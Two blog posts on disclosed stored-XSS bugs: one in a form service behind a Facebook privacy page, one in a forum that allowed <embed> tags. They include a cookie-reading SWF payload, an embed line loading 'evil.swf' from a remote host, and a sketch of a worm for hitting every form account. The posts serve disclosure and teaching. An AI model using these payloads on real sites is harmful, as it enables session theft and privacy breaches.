A Facebook Third Party XSS Privacy Slip-up

Back in January Facebook introduced a new feature that allowed you to send in questions to their Chief Privacy Officer, Erin Egan.

It turns out the question form contained an XSS vulnerability :)

Erin where you at?

The Facebook page was pretty straight forward, a bit of blurb and a form to submit your questions.

Here's the question form:

I assumed the question would be sent straight to Facebook but I was curious exactly how/where. Looking at the page code I saw something similar to the following:  

The form actually posted to Jotform.me, not Facebook. Looks like it's a third party plugin of some kind?

The Jotform form

To better understand what was going on I headed to Jotform.com and signed up for a free account. I created a form identical to the Facebook form and injected an XSS image payload into every field.

When I viewed my submissions page I got the following:

Looks like we've found a stored XSS vulnerability. Digging into the page code you can see that we didn't even need to break out of an attribute, html tags are just accepted and rendered! Uh oh.

To gain access to Erin's Jotform account all we'd need to do is submit a standard XSS payload through the Facebook form and wait until she views her submissions on the Jotform site. It's almost too easy.

Now the clever ones among you may have noticed the irony of this situation. By gaining access to the Facebook JotForm account we'd be able to see all of the privacy questions people submitted through the Facebook site. Essentially breaching the privacy of people's privacy questions!

Privacy breaches aside, we could also target Erin directly with social engineering, redirect her to our own malicious site with the latest Adobe/Java exploits or a phishing page. XSS is really just the first step, there are many ways we could potentially drop the pwnage.

Speaking of pwnage...


Pwning every JotForm user

Although I didn't test this, it appears that it would be trivial to exploit almost every JotForm user by simply submitting malicious post requests across multiple account IDs. Post requests are non-authenticated and sent to a predictable URL:

e.g. http://submit.jotform.me/submit/30563167563456

With a little python/perl/ruby we could easily create a script to iterate through those ID numbers.

Or to speed this up we could distribute the attack by creating a worm that used some javascript to force users into re-posting to many different IDs thus spreading the payload. Gradually we'd compromise every single JotForm user. Nice.


Preventing stored XSS

Addressing XSS is usually straight forward. Some basic filtering/encoding of quotes and brackets normally does the job. However because Jotform actually used the tags from user submissions they had decided to implement a blacklist approach to filter malicious content. While this provided some protection it was trivial to evade.

As we saw earlier they missed the image event handler. They also missed the embed tag that I mentioned in my last post:

I've only covered the obvious examples, no doubt there are many more XSS vectors lurking on JotForm :)

Conclusion

Lesson number one, never trust third parties. If they get hacked, you get hacked.

Lesson number two, don't allow the inclusion of user defined HTML, it's just asking for trouble.

Both Facebook and Jotform were notified of these issues and they have now been fixed. Thanks to both companies for the quick responses!


Pwndizzle out

Stored XSS in X.com Using Embed

Back in December I came across a stored XSS vulnerability in x.com. I was unfortunately too slow in my reporting and was beaten to it by Subho Halder. It was quite funny as he plastered the site with his own swf file to demonstrate the vulnerability.

This is a quick post covering the vulnerability and how it was exploited.


<EMBED>

When it comes to sites that allow direct modification of html, the likelihood of XSS can go up massively. In the case of x.com they used a home-grown (or what appeared to be home-grown) comment system for their forum that let you edit the HTML of your comments. Although there were some protections in place to stop you inserting <script>, <object> and <applet> tags, they did allow you to use <img> and <embed>.

Note: For more info on tags and insertion of malicious code I found the following URL really useful:
http://www.technicalinfo.net/papers/CSS.html

I first tried <img> based XSS and it worked when previewing the post but when actually posting the onerror was stripped.

Preview:

Actual:

Instead of trying to find a filter bypass I decided to take a look at the embed tag.


Our friend the SWF file

Some of you may have read my previous post on SWF analysis where i looked at exploiting an SWF for XSS:

http://pwndizzle.blogspot.com/2012/10/xss-using-flash-swf-google-xss.html

In that post I focused on exploiting a poorly built SWF, however we can just build a malicious SWF that contains a javascript payload. Subho's SWF can be found here:

www.subhohalder.com/xysecteam.swf

Using SWFScan to analyse the file its really easy to spot the exploit code he used:

public static function main ()
{
    var __callResult_20 = getURL("javascript:alert(\"XYSEC TEAM
\"+document.cookie+\"
\"+document.domain)", "_self");
}

Looking up getURL from the Adobe site:

Loads a document from a specific URL into a window or passes variables to another application at a defined URL.

So we could grab a payload from a remote site or to perform XSS we could use "javascript:" which simply runs javascript locally in the browser in the security context of the current site.

And to deploy our SWF as a stored XSS attack all we need to do is embed our malicious content in a comment:

<embed allowscriptaccess="always" src="http://mysite.com/evil.swf" height=1 width=1></embed>

The allowscriptaccess parameter allows our remote script to communicate with the domain in which its embedded and I've used height=1 and width=1 to effectively make it invisible.

Whenever anyone viewed the comment the remote SWF would be loaded and they would be pwned XSS style, sweet!


Final Thoughts

Allowing users to edit HTML on your site can be a risky feature. Script, applet, object, iframe, image and embed tags need to be carefully filtered to prevent abuse. In this case it was a lack of SWF filtering that allowed us to use the embed tag for stored XSS.

Congrats to Subho for reporting this before me, his site can be found here: http://subhohalder.com/


Pwndizzle out